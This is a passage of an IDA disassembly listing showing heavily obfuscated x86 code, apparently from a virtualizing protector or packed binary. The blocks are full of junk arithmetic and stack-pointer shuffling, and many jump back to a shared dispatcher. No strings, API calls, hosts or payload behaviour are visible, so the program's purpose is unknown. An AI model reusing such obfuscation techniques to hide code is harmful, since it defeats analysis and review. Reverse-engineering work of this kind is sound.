		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		or	ebx, 14081DB0h
		add	ebx, 7D5AC787h
		jmp	loc_59D31F
; ---------------------------------------------------------------------------


loc_59D724:				; CODE XREF: sub_58A891+15369j
		mov	ebx, esp
		jmp	loc_5B0038
; ---------------------------------------------------------------------------


loc_59D72B:				; CODE XREF: sub_58A891+225B3j
		add	edi, eax
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		add	edi, 14A46822h
		jmp	loc_5A1ABA
; ---------------------------------------------------------------------------


loc_59D741:				; CODE XREF: sub_58A891+212A2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5A01D1
; ---------------------------------------------------------------------------


loc_59D756:				; CODE XREF: sub_58A891+12370j
		push	[esp+0AEh+var_AE]
		jmp	loc_5AF89E
; ---------------------------------------------------------------------------


loc_59D75E:				; CODE XREF: sub_58A891+1626Ej
		mov	dx, 5FF6h
		xor	bp, dx
		pop	dx
		inc	bp
		push	di
		mov	di, 3BBBh
		sub	bp, di
		pop	di
		xor	bp, 350Ah
		add	ax, bp
		jmp	loc_5AC800
; ---------------------------------------------------------------------------


loc_59D781:				; CODE XREF: sub_58A891+24F5Dj
		pop	edi
		mov	ecx, edx
		pop	edx
		neg	ecx
		jp	loc_5AD639
		jmp	loc_59E9B7
; ---------------------------------------------------------------------------


loc_59D792:				; CODE XREF: sub_58A891+263FEj
		not	ecx
		jmp	loc_59EA50
; ---------------------------------------------------------------------------


loc_59D799:				; CODE XREF: sub_58A891+1C59Fj
		mov	ebx, [esp+0A8h+var_AA+2]
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], edx
		push	esp
		push	[esp+0B0h+var_B2+2]
		pop	edx
		add	esp, 4
		jmp	loc_5A2074
; ---------------------------------------------------------------------------


loc_59D7B5:				; CODE XREF: sub_58A891+23B50j
		xor	edx, [esp+0ACh+var_AE+2]
		pop	esp
		jmp	loc_59E6AE
; ---------------------------------------------------------------------------


loc_59D7BE:				; CODE XREF: sub_58A891+1A7E3j
		add	ch, 90h
		sub	ch, 63h
		xor	ch, 82h
		jmp	loc_5A70EA
; ---------------------------------------------------------------------------


loc_59D7CC:				; CODE XREF: sub_58A891+19E5Fj
		jns	loc_5ADB2D
		jmp	loc_59CE93
; ---------------------------------------------------------------------------
		pop	edx
		push	[esp+0A4h+var_A6+2]
		jmp	loc_5B29FF
; ---------------------------------------------------------------------------


loc_59D7E0:				; CODE XREF: sub_58A891+1438Dj
		and	esi, 40CA00C1h
		sub	esi, 0D4FBA26Bh
		sub	ebx, esi
		pop	esi
		add	ebx, ebp
		add	ebx, 2B045D95h
		mov	ebp, [esp+0A4h+var_A6+2]
		sub	esp, 4
		jmp	loc_5A8BB0
; ---------------------------------------------------------------------------


loc_59D805:				; CODE XREF: sub_58A891+22362j
		sub	[esp+0A8h+var_A6+2], 49904C0Ah
		pop	esi
		pop	ebx
		push	edx
		mov	edx, 660239EEh
		jmp	loc_5AB694
; ---------------------------------------------------------------------------


loc_59D81A:				; CODE XREF: sub_58A891+1D500j
		xor	esi, 1DEB531Eh
		inc	esi
		jle	loc_59FE97
		neg	esi
		ja	loc_59FCE9
		sub	esi, 24716061h
		jmp	loc_59FADD
; ---------------------------------------------------------------------------


loc_59D83A:				; CODE XREF: sub_58A891+19B8Cj
		mov	[esp+0A4h+var_A6+2], edi
		add	[esp+0A4h+var_A6+2], 3EE25D48h
		pop	eax
		jmp	loc_5A37DD
; ---------------------------------------------------------------------------


loc_59D84A:				; CODE XREF: sub_58A891+2169Cj
		push	esi
		push	5088h
		mov	[esp+0A8h+var_AA+2], ebx
		sub	esp, 4
		jmp	loc_5A66E2
; ---------------------------------------------------------------------------


loc_59D85B:				; CODE XREF: sub_58A891+165ADj
		xor	al, 97h
		jmp	loc_5A5280
; ---------------------------------------------------------------------------


loc_59D862:				; CODE XREF: sub_58A891+126CEj
		mov	[esp+0A6h+var_A6], ebp
		mov	ebp, 25534BBFh
		jmp	loc_5ADAC7
; ---------------------------------------------------------------------------


loc_59D86F:				; CODE XREF: sub_58A891+25D03j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		jmp	loc_5A906B
; ---------------------------------------------------------------------------


loc_59D88B:				; CODE XREF: sub_58A891+22D85j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], esi
		jmp	loc_59C5AF
; ---------------------------------------------------------------------------


loc_59D899:				; CODE XREF: sub_58A891+20D57j
		mov	edi, 4E4C1E00h
		xor	[esp+0A2h+var_9E], edi
		pop	edi
		push	[esp+9Eh+var_9E]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_5AC453
; ---------------------------------------------------------------------------


loc_59D8AF:				; CODE XREF: sub_58A891+227CFj
		push	eax
		mov	ah, 75h
		xor	ah, 30h
		mov	bl, ah
		mov	eax, [esp+0A6h+var_A6]
		add	esp, 4
		add	ah, bl
		pop	ebx
		or	dh, ah
		mov	eax, [esp+9Eh+var_9E]
		add	esp, 4
		jmp	loc_5A0273
; ---------------------------------------------------------------------------


loc_59D8CD:				; CODE XREF: sub_58A891+22DA3j
		or	esi, 33CA67B1h
		jmp	loc_5A9B09
; ---------------------------------------------------------------------------


loc_59D8D8:				; CODE XREF: sub_58A891+254DDj
		xor	ecx, 73900779h
		jle	loc_5A5EDA
		jmp	loc_5A87CA
; ---------------------------------------------------------------------------


loc_59D8E9:				; CODE XREF: sub_58A891+25A42j
		push	198Bh
		mov	[esp+9Eh+var_9E], edi
		push	ecx
		jmp	loc_5AB6BB
; ---------------------------------------------------------------------------


loc_59D8F7:				; CODE XREF: sub_58A891+17D96j
		jmp	loc_5A8507
; ---------------------------------------------------------------------------


loc_59D8FC:				; CODE XREF: sub_58A891+15D78j
		mov	[esp+0A2h+var_A2], edi
		push	66860460h
		push	[esp+0A6h+var_A6]
		pop	edi
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ebp
		push	esp
		pop	ebp
		jmp	loc_59E046
; ---------------------------------------------------------------------------


loc_59D918:				; CODE XREF: sub_58A891+1F262j
		add	cl, 0DFh
		add	dl, cl
		jmp	loc_5AC981
; ---------------------------------------------------------------------------


loc_59D922:				; CODE XREF: sub_58A891+1E52Fj
		add	edi, 98B671Bh
		jmp	loc_5A23FC
; ---------------------------------------------------------------------------


loc_59D92D:				; CODE XREF: sub_58A891+1939Cj
		push	eax
		push	ecx
		mov	ecx, 1CF2041Ah
		jmp	loc_5A5038
; ---------------------------------------------------------------------------


loc_59D939:				; CODE XREF: sub_58A891+1B893j
		add	ecx, 2BD73439h
		jmp	loc_5A53EE
; ---------------------------------------------------------------------------


loc_59D944:				; CODE XREF: sub_58A891+1FECDj
		xor	eax, 0F36537C8h
		jmp	loc_59E12B
; ---------------------------------------------------------------------------


loc_59D94E:				; CODE XREF: sub_58A891+2277Cj
		push	edx
		mov	edx, 37CA2DC8h
		xor	ecx, edx
		pop	edx
		inc	ecx
		add	ecx, 0E5FC9883h
		add	esi, ecx
		pop	ecx
		jmp	loc_5B0DEB
; ---------------------------------------------------------------------------


loc_59D966:				; CODE XREF: sub_58A891+261D2j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		pop	[esp+0AEh+var_AE]
		pop	esp
		sub	esp, 4
		jmp	loc_5A4F72
; ---------------------------------------------------------------------------


loc_59D983:				; CODE XREF: sub_58A891+1546Cj
					; sub_58A891+1A894j
		shr	ebx, 8
		or	ebx, 295D4591h
		not	ebx
		inc	ebx
		shr	ebx, 2
		sub	ebx, 1831C219h
		jmp	loc_5A87E3
; ---------------------------------------------------------------------------


loc_59D99D:				; CODE XREF: sub_58A891+1A905j
		push	[esp+0AAh+var_AA]
		mov	edx, [esp+0AEh+var_AE]
		add	esp, 4
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59D9B1:				; CODE XREF: sub_58A891+26FADj
		jnz	loc_5ADFCE
		not	ebx
		shr	ebx, 8
		sub	ebx, 0D21413h
		pop	eax


loc_59D9C3:				; CODE XREF: sub_58A891+17B55j
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0A2h+var_A2]
		pop	esp
		inc	ch
		push	eax
		mov	al, 2Dh
		sub	ch, al
		push	[esp+0A2h+var_A2]
		pop	eax
		push	3549h
		mov	[esp+0A6h+var_A6], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0A6h+var_A6]
		xor	[esp+0A6h+var_A6], esi
		xor	esi, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		shr	ch, 8
		push	edx
		mov	dl, 8
		sub	ch, dl
		pop	edx
		jmp	loc_5AA5B1
; ---------------------------------------------------------------------------


loc_59DA0F:				; CODE XREF: sub_58A891+1C8DCj
		mov	edi, 39B24ADDh
		mov	ebx, edi
		pop	edi
		or	ebx, 3B631AFFh
		jp	loc_5A53CE
		or	ebx, 21050DDEh
		jb	loc_5B08D3


loc_59DA2F:				; CODE XREF: sub_58A891+1C289j
		push	ebx
		mov	ebx, 4
		push	ecx
		mov	ecx, 7595613Ch
		jmp	loc_5AEA52
; ---------------------------------------------------------------------------


loc_59DA40:				; CODE XREF: sub_58A891+2820Bj
		push	[esp+0AAh+var_A6]
		pop	esi
		pop	[esp+0AAh+var_AA]
		pop	esp
		inc	word ptr [esp+0A2h+var_A2]
		pushf
		jmp	loc_5AC4B6
; ---------------------------------------------------------------------------


loc_59DA53:				; CODE XREF: sub_58A891+21620j
		pop	esi
		push	ebp
		jmp	loc_5B158D
; ---------------------------------------------------------------------------


loc_59DA5A:				; CODE XREF: sub_58A891+26E12j
		pop	esp
		add	ecx, edi
		mov	[ecx], al
		pop	ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DA65:				; CODE XREF: sub_58A891+119E6j
		mov	esp, [esp+12h+var_14+2]
		dec	word ptr [esp+12h+var_14+2]
		pushf
		jmp	loc_5B23FA
; ---------------------------------------------------------------------------


loc_59DA72:				; CODE XREF: sub_58A891+259EDj
		jbe	loc_5AA406
		shr	ebp, 4
		jmp	loc_5A4464
; ---------------------------------------------------------------------------


loc_59DA80:				; CODE XREF: sub_58A891+190ADj
		add	edi, 4
		jmp	loc_5A9291
; ---------------------------------------------------------------------------


loc_59DA8B:				; CODE XREF: sub_58A891+210ABj
		add	esp, 4
		mov	esi, ecx
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		add	edi, esi
		mov	esi, [esp+0Eh+var_10+2]
		jmp	loc_5AC874
; ---------------------------------------------------------------------------


loc_59DAA6:				; CODE XREF: sub_58A891+21CFCj
		push	7D7Ch
		mov	[esp+12h+var_14+2], ecx
		jmp	loc_5AF0EB
; ---------------------------------------------------------------------------


loc_59DAB3:				; CODE XREF: sub_58A891+1B682j
		mov	[esp+12h+var_14+2], ebx
		push	edi
		push	0DA079E5h
		mov	edi, [esp+1Ah+var_1C+2]
		jmp	loc_5AA7EE
; ---------------------------------------------------------------------------


loc_59DAC4:				; CODE XREF: sub_58A891:loc_5A88E6j
		or	esi, 7D9C22A7h
		jmp	loc_5AC098
; ---------------------------------------------------------------------------


loc_59DACF:				; CODE XREF: sub_58A891+15485j
		mov	al, dh
		mov	cl, al
		pop	eax
		jmp	loc_5AAB29
; ---------------------------------------------------------------------------


loc_59DAD9:				; CODE XREF: sub_58A891+1DCDDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DADE:				; CODE XREF: sub_58A891+1B7E4j
		push	edi
		mov	edi, 46081CF6h
		sub	edi, 0CE9BBEE9h
		jmp	loc_5A7125
; ---------------------------------------------------------------------------


loc_59DAEF:				; CODE XREF: sub_58A891+224B5j
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5B24F8
; ---------------------------------------------------------------------------


loc_59DAFB:				; CODE XREF: sub_58A891+1CECEj
		jge	loc_59EE6B
		dec	ebx
		jmp	loc_59C7C8
; ---------------------------------------------------------------------------
		mov	edx, eax
		pop	eax
		pop	edi
		pop	edi


loc_59DB0C:				; CODE XREF: sub_58A891+17224j
		add	eax, 2C4D7A58h
		add	eax, ebp
		sub	eax, 2C4D7A58h
		sub	eax, 10FB5693h
		add	eax, 6C4D452Eh
		pop	ebp
		push	esi
		jmp	loc_5A0962
; ---------------------------------------------------------------------------


loc_59DB29:				; CODE XREF: sub_58A891+23E07j
		xor	[esp+0Eh+var_10+2], edi
		jmp	loc_5A0050
; ---------------------------------------------------------------------------


loc_59DB31:				; CODE XREF: sub_58A891+25D72j
		push	ecx
		mov	ch, 0DEh
		jmp	loc_5A1EC3
; ---------------------------------------------------------------------------


loc_59DB39:				; CODE XREF: sub_58A891+1D0ADj
		push	ebx
		mov	bl, 0B2h
		shr	bl, 6
		push	eax
		mov	ah, 0E2h
		jmp	loc_5B27CC
; ---------------------------------------------------------------------------


loc_59DB47:				; CODE XREF: sub_58A891+27B28j
		add	ebx, 14B6FB3Eh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_59DB52:				; CODE XREF: sub_58A891+252AFj
		add	ecx, 4
		jmp	loc_5A3BF2
; ---------------------------------------------------------------------------


loc_59DB5D:				; CODE XREF: sub_58A891+1C0EEj
		mov	[esp+1Ah+var_1C+2], eax
		mov	eax, 469B5111h
		sub	ecx, 11BC62D4h
		push	ebx
		jmp	loc_5A80F2
; ---------------------------------------------------------------------------


loc_59DB71:				; CODE XREF: sub_58A891+24B0Aj
		add	edi, 8D3E4865h
		jmp	loc_5A818D
; ---------------------------------------------------------------------------


loc_59DB7C:				; CODE XREF: sub_58A891+19A53j
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_5A9A87
; ---------------------------------------------------------------------------


loc_59DB87:				; CODE XREF: sub_58A891+2845Dj
		shl	dh, 1
		xor	dh, 15h
		mov	ch, dh
		jmp	loc_59DC1A
; ---------------------------------------------------------------------------


loc_59DB93:				; CODE XREF: sub_58A891+233B1j
					; sub_58A891+24E63j
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		add	ecx, 4
		push	6Ch
		jmp	loc_5B28F0
; ---------------------------------------------------------------------------


loc_59DBAC:				; CODE XREF: sub_58A891+14457j
		mov	dx, word ptr [esp+22h+var_24+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		push	ebx
		mov	bx, 4915h
		jmp	loc_5A2ADE
; ---------------------------------------------------------------------------


loc_59DBC9:				; CODE XREF: sub_58A891+12CD6j
		sub	esp, 4
		mov	[esp+32h+var_34+2], ebp
		jmp	loc_59E152
; ---------------------------------------------------------------------------


loc_59DBD7:				; CODE XREF: sub_58A891+18EADj
		add	eax, 792A1C8Fh
		add	eax, edi
		sub	eax, 792A1C8Fh
		sub	eax, 68CD3298h
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		push	eax
		push	[esp+32h+var_30+2]
		pop	eax
		jmp	loc_5A110A
; ---------------------------------------------------------------------------


loc_59DBFC:				; CODE XREF: sub_58A891+183D1j
		not	edi
		jmp	loc_5AC890
; ---------------------------------------------------------------------------


loc_59DC03:				; CODE XREF: sub_58A891+28448j
		push	ebp
		mov	ebp, 52FE6F45h
		not	ebp
		jmp	loc_59EA0C
; ---------------------------------------------------------------------------


loc_59DC10:				; CODE XREF: sub_58A891+1CCFFj
		mov	esi, 4
		jmp	loc_5AFA88
; ---------------------------------------------------------------------------


loc_59DC1A:				; CODE XREF: sub_58A891+132FDj
					; sub_58A891+1E5C6j
		jg	loc_5A44AA
		jmp	loc_5A27FF
; ---------------------------------------------------------------------------
		add	ebx, eax
		jmp	loc_5AE439
; ---------------------------------------------------------------------------
		push	eax
		mov	ecx, edi
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5A7FCB
; ---------------------------------------------------------------------------


loc_59DC3E:				; CODE XREF: sub_58A891+15216j
		mov	ebx, 2
		jmp	loc_59E947
; ---------------------------------------------------------------------------


loc_59DC48:				; CODE XREF: sub_58A891+117B4j
		pop	ebp
		push	edi
		mov	edi, 7DDE7420h
		sub	edi, 441422B1h
		and	esi, edi
		mov	edi, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_59BF81
; ---------------------------------------------------------------------------


loc_59DC62:				; CODE XREF: sub_58A891+1FE28j
					; sub_58A891+26AE5j
		add	eax, ebx
		pop	ebx
		push	270Eh
		jmp	loc_5AC831
; ---------------------------------------------------------------------------


loc_59DC6F:				; CODE XREF: sub_58A891+15B41j
		or	edx, esi
		pop	esi
		xor	edx, 0F9FA7DCAh
		jmp	loc_5A19CB
; ---------------------------------------------------------------------------


loc_59DC7D:				; CODE XREF: sub_58A891+1F286j
		pop	esi
		push	ecx
		mov	ecx, 5DC36E8Eh
		sub	esi, ecx
		pop	ecx
		sub	esi, 77D873D3h
		add	esi, ebp
		add	esi, 77D873D3h
		push	ebp
		mov	ebp, 5DC36E8Eh
		jmp	loc_5A8F97
; ---------------------------------------------------------------------------


loc_59DCA0:				; CODE XREF: sub_58A891+1B74Dj
		mov	edx, [esp+36h+var_38+2]
		jmp	loc_59E4AC
; ---------------------------------------------------------------------------


loc_59DCA8:				; CODE XREF: sub_58A891+1DF81j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 5F7709CCh
		add	ebx, edi
		sub	ebx, 5F7709CCh
		add	ebx, 45736B13h
		pop	edi
		xor	ebx, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], ebx
		jmp	loc_59FBCD
; ---------------------------------------------------------------------------


loc_59DCCB:				; CODE XREF: sub_58A891+22A97j
		xor	edi, ebp
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		push	0
		sub	[esp+2Eh+var_30+2], edi
		pop	edi
		xor	edi, 0F3CFDDCAh
		add	esi, edi
		mov	edi, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	edi
		mov	edi, 31523AFDh
		shl	edi, 4
		add	edi, 1D05002Ah
		push	2Ch
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, 760266C2h
		and	edi, ebp
		push	[esp+2Eh+var_30+2]
		pop	ebp
		add	esp, 4
		or	edi, 9853DABh
		add	edi, 0C47AC017h
		sub	esi, 72E55B8Fh
		add	esi, edi
		add	esi, 72E55B8Fh
		jmp	loc_59C0E2
; ---------------------------------------------------------------------------


loc_59DD34:				; CODE XREF: sub_58A891+174E4j
					; sub_58A891+215EBj
		add	ecx, eax
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_59FD02
; ---------------------------------------------------------------------------


loc_59DD44:				; CODE XREF: sub_58A891+2508Ej
		push	ebx
		mov	ebx, 5E230C55h
		jmp	loc_5A663B
; ---------------------------------------------------------------------------


loc_59DD4F:				; CODE XREF: sub_58A891+1214Bj
		add	ebx, 4F8F3F75h
		add	ebx, edi
		push	ecx
		jmp	loc_5ACC2A
; ---------------------------------------------------------------------------


loc_59DD5D:				; CODE XREF: sub_58A891+1DF8Dj
		push	ebp
		pop	edx
		jmp	loc_5B0F1C
; ---------------------------------------------------------------------------


loc_59DD64:				; CODE XREF: sub_58A891+227E6j
		pop	esp
		or	eax, eax
		jnz	loc_59D432
		push	1D2Ch
		mov	[esp+0B6h+var_B6], esi
		push	ebp
		mov	ebp, 78027818h
		mov	esi, ebp
		pop	ebp
		mov	edx, offset dword_607990
		jmp	loc_59E3F4
; ---------------------------------------------------------------------------


loc_59DD88:				; CODE XREF: sub_58A891+19191j
		inc	ebp
		jmp	loc_5A3968
; ---------------------------------------------------------------------------


loc_59DD8E:				; CODE XREF: sub_58A891+16232j
		dec	edi
		neg	edi
		push	eax
		mov	eax, 191A4904h
		sub	edi, eax
		jmp	loc_5A9E7A
; ---------------------------------------------------------------------------
		push	[esp+0BAh+var_BA]
		jmp	loc_5A5F76
; ---------------------------------------------------------------------------


loc_59DDA6:				; CODE XREF: sub_58A891+1503Dj
		xchg	ecx, [esp+0BEh+var_BE]
		mov	esp, [esp+0BEh+var_BE]
		jmp	loc_5B29A4
; ---------------------------------------------------------------------------


loc_59DDB1:				; CODE XREF: sub_58A891+15374j
		sub	ebx, esi
		jmp	loc_5AFFAE
; ---------------------------------------------------------------------------
		push	[esp+0BEh+var_BE]
		jmp	loc_5A0241
; ---------------------------------------------------------------------------


loc_59DDC0:				; CODE XREF: sub_58A891+1B934j
		mov	edi, [esp+0C2h+var_C2]
		jmp	loc_5AF9D3
; ---------------------------------------------------------------------------


loc_59DDC8:				; CODE XREF: sub_58A891+22B9Fj
		add	cl, 0D7h
		push	dx
		jmp	loc_5A2025
; ---------------------------------------------------------------------------


loc_59DDD2:				; CODE XREF: sub_58A891+221EFj
		push	ebx
		mov	ebx, 649E29C3h
		mov	ebp, ebx
		jmp	loc_5AFA03
; ---------------------------------------------------------------------------


loc_59DDDF:				; CODE XREF: sub_58A891+118E5j
		add	esp, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		bts	word ptr [esp+1Ah+var_1C+2], ax
		pushf
		jmp	loc_5A876F
; ---------------------------------------------------------------------------


loc_59DDF3:				; CODE XREF: sub_58A891+1CE13j
		shl	edi, 4
		dec	edi
		neg	edi
		or	edi, 4F0F485Fh
		push	1A42h
		jmp	loc_5B1DA1
; ---------------------------------------------------------------------------


loc_59DE09:				; CODE XREF: sub_58A891+18F0Bj
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DE10:				; CODE XREF: sub_58A891+17346j
		mov	eax, 62E66D41h
		or	eax, 29FF4DDBh
		jo	loc_5AB95F
		xor	eax, 66123A17h
		neg	eax
		jmp	loc_5A1802
; ---------------------------------------------------------------------------


loc_59DE2C:				; CODE XREF: sub_58A891:loc_5AB6E8j
					; sub_58A891+2196Ej
		pop	edi
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A699A
; ---------------------------------------------------------------------------


loc_59DE3B:				; CODE XREF: sub_58A891+210F3j
		inc	eax
		dec	eax
		push	edi
		mov	edi, 19A334F9h
		shr	edi, 1
		push	ecx
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], eax
		push	ebx
		jmp	loc_59FCF8
; ---------------------------------------------------------------------------


loc_59DE52:				; CODE XREF: sub_58A891+21C67j
		pop	ebp
		add	edi, edx
		push	[esp+3Ah+var_3C+2]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+3Eh+var_40+2]
		pop	esp
		push	ecx
		mov	ecx, 34931CCEh
		or	ecx, 4A4D6B62h
		jmp	loc_5A6697
; ---------------------------------------------------------------------------


loc_59DE7A:				; CODE XREF: sub_58A891+2064Aj
		pop	esp
		mov	word ptr [esp+3Ah+var_3C+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DE84:				; CODE XREF: sub_58A891+1DA06j
		add	edi, 638A34DCh
		jnb	loc_5AFB2D
		jmp	loc_5ABFED
; ---------------------------------------------------------------------------


loc_59DE95:				; CODE XREF: sub_58A891+11894j
		push	esi
		mov	esi, 55FD2B73h
		jmp	loc_5AE41D
; ---------------------------------------------------------------------------


loc_59DEA0:				; CODE XREF: sub_58A891+1DA83j
		mov	ebp, 5183560h
		add	ebp, 0BDFEBC47h
		add	edx, ebp
		pop	ebp
		sub	ebx, edx
		jmp	loc_5A1F28
; ---------------------------------------------------------------------------


loc_59DEB5:				; CODE XREF: sub_58A891+15A6Bj
		pop	eax
		jmp	loc_5A4C3F
; ---------------------------------------------------------------------------


loc_59DEBB:				; CODE XREF: sub_58A891+28518j
		add	esp, 4
		add	edx, ebp
		push	[esp+1Eh+var_20+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5A7628
; ---------------------------------------------------------------------------


loc_59DECF:				; CODE XREF: sub_58A891+1933Bj
		add	[esp+1Ah+var_18+2], edi
		jmp	loc_5A38DD
; ---------------------------------------------------------------------------


loc_59DED8:				; CODE XREF: sub_58A891+20AE3j
		mov	ebp, [esp+1Ah+var_1C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Eh+var_20+2]
		jmp	loc_5AE6FC
; ---------------------------------------------------------------------------


loc_59DEF2:				; CODE XREF: sub_58A891+182EAj
		add	ebx, edi
		jmp	loc_5A1D1F
; ---------------------------------------------------------------------------


loc_59DEF9:				; CODE XREF: sub_58A891+194E3j
		pop	ebp
		jmp	loc_59FB8F
; ---------------------------------------------------------------------------


loc_59DEFF:				; CODE XREF: sub_58A891+1F0A1j
		push	1A3Bh
		mov	[esp+1Eh+var_20+2], ebp
		jmp	loc_5AF9E9
; ---------------------------------------------------------------------------


loc_59DF0C:				; CODE XREF: sub_58A891+24352j
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		push	eax
		push	edx
		mov	edx, 1D743E85h
		jmp	loc_5A0FEE
; ---------------------------------------------------------------------------


loc_59DF2A:				; CODE XREF: sub_58A891+197B7j
					; sub_58A891+2141Ej
		mov	esi, esp
		jmp	loc_5AAAC0
; ---------------------------------------------------------------------------


loc_59DF31:				; CODE XREF: sub_58A891+12319j
		and	edi, 48717248h
		add	edi, 234F1EBDh
		jmp	loc_59C9E7
; ---------------------------------------------------------------------------


loc_59DF42:				; CODE XREF: sub_58A891+14CC4j
					; sub_58A891+22879j
		mov	edx, [esp+0AEh+var_AE]
		push	esi
		mov	esi, esp
		jmp	loc_5A302A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+0B0h+var_B2+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DF5D:				; CODE XREF: sub_58A891+193D9j
		pop	eax
		push	ecx
		mov	ecx, 134B3919h
		sub	ecx, 0FDAEDCAEh
		add	edi, ecx
		pop	ecx
		jmp	loc_5A3648
; ---------------------------------------------------------------------------


loc_59DF72:				; CODE XREF: sub_58A891:loc_5A76A9j
		add	ah, 5Fh
		push	ebx
		mov	bh, 0B6h
		shr	bh, 4
		neg	bh
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_59DF82:				; CODE XREF: sub_58A891+1DBD3j
		xchg	edx, [esp+0B4h+var_B6+2]
		mov	esp, [esp+0B4h+var_B6+2]
		sub	esp, 4
		mov	[esp+0B8h+var_BA+2], ebx
		mov	ebx, 4
		jmp	loc_59C572
; ---------------------------------------------------------------------------


loc_59DF9B:				; CODE XREF: sub_58A891+18A93j
		pop	[esp+0B8h+var_BA+2]
		mov	esp, [esp+0B4h+var_B6+2]
		mov	ax, word ptr [esp+0B4h+var_B6+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5AF685
; ---------------------------------------------------------------------------


loc_59DFBD:				; CODE XREF: sub_58A891+27F8Ej
		mov	[esp+0C4h+var_C6+2], esi
		jmp	loc_5A33E3
; ---------------------------------------------------------------------------


loc_59DFC5:				; CODE XREF: sub_58A891+1A24Aj
		sub	ebx, 7F11DEDh
		jmp	loc_5A78FE
; ---------------------------------------------------------------------------


loc_59DFD0:				; CODE XREF: sub_58A891+224F7j
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		push	ebp
		push	[esp+0C4h+var_C2+2]
		pop	ebp
		pop	[esp+0C4h+var_C6+2]
		pop	esp
		mov	[esp+0BCh+var_BE+2], ebx
		push	[esp+0BCh+var_BA+2]
		pop	ebx
		pop	[esp+0BCh+var_BE+2]
		mov	esp, [esp+0B8h+var_BA+2]
		movsx	ecx, al
		push	1124h
		mov	[esp+0BCh+var_BE+2], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DFFE:				; CODE XREF: sub_58A891+1D621j
		xchg	ecx, [esp+0BCh+var_BE+2]
		jmp	loc_5AC050
; ---------------------------------------------------------------------------


loc_59E006:				; CODE XREF: sub_58A891+182CFj
		add	esp, 4
		push	ecx
		jmp	loc_5AD11E
; ---------------------------------------------------------------------------


loc_59E012:				; CODE XREF: sub_58A891+1F502j
		xchg	ebp, edi
		not	ebp
		sub	esp, 4
		mov	[esp+0C0h+var_C2+2], edi
		push	ebp
		mov	edi, [esp+0C4h+var_C6+2]
		add	esp, 4
		pop	ebp
		sub	esp, 4
		mov	[esp+0C0h+var_C2+2], ecx
		mov	ecx, 7C51376Ch
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5AE736
; ---------------------------------------------------------------------------


loc_59E040:				; CODE XREF: sub_58A891+119A1j
		push	edx
		jmp	loc_5AF74F
; ---------------------------------------------------------------------------


loc_59E046:				; CODE XREF: sub_58A891+13082j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	6C4Fh
		mov	[esp+0AEh+var_AE], edi
		push	737Ch
		jmp	loc_5B2B7B
; ---------------------------------------------------------------------------


loc_59E061:				; CODE XREF: sub_58A891+27406j
		or	eax, offset byte_5346C7
		push	edi
		mov	edi, 18AF6775h
		sub	eax, edi
		pop	edi
		shr	eax, 1
		push	edx
		mov	edx, 164216FFh
		jmp	loc_5A13AC
; ---------------------------------------------------------------------------


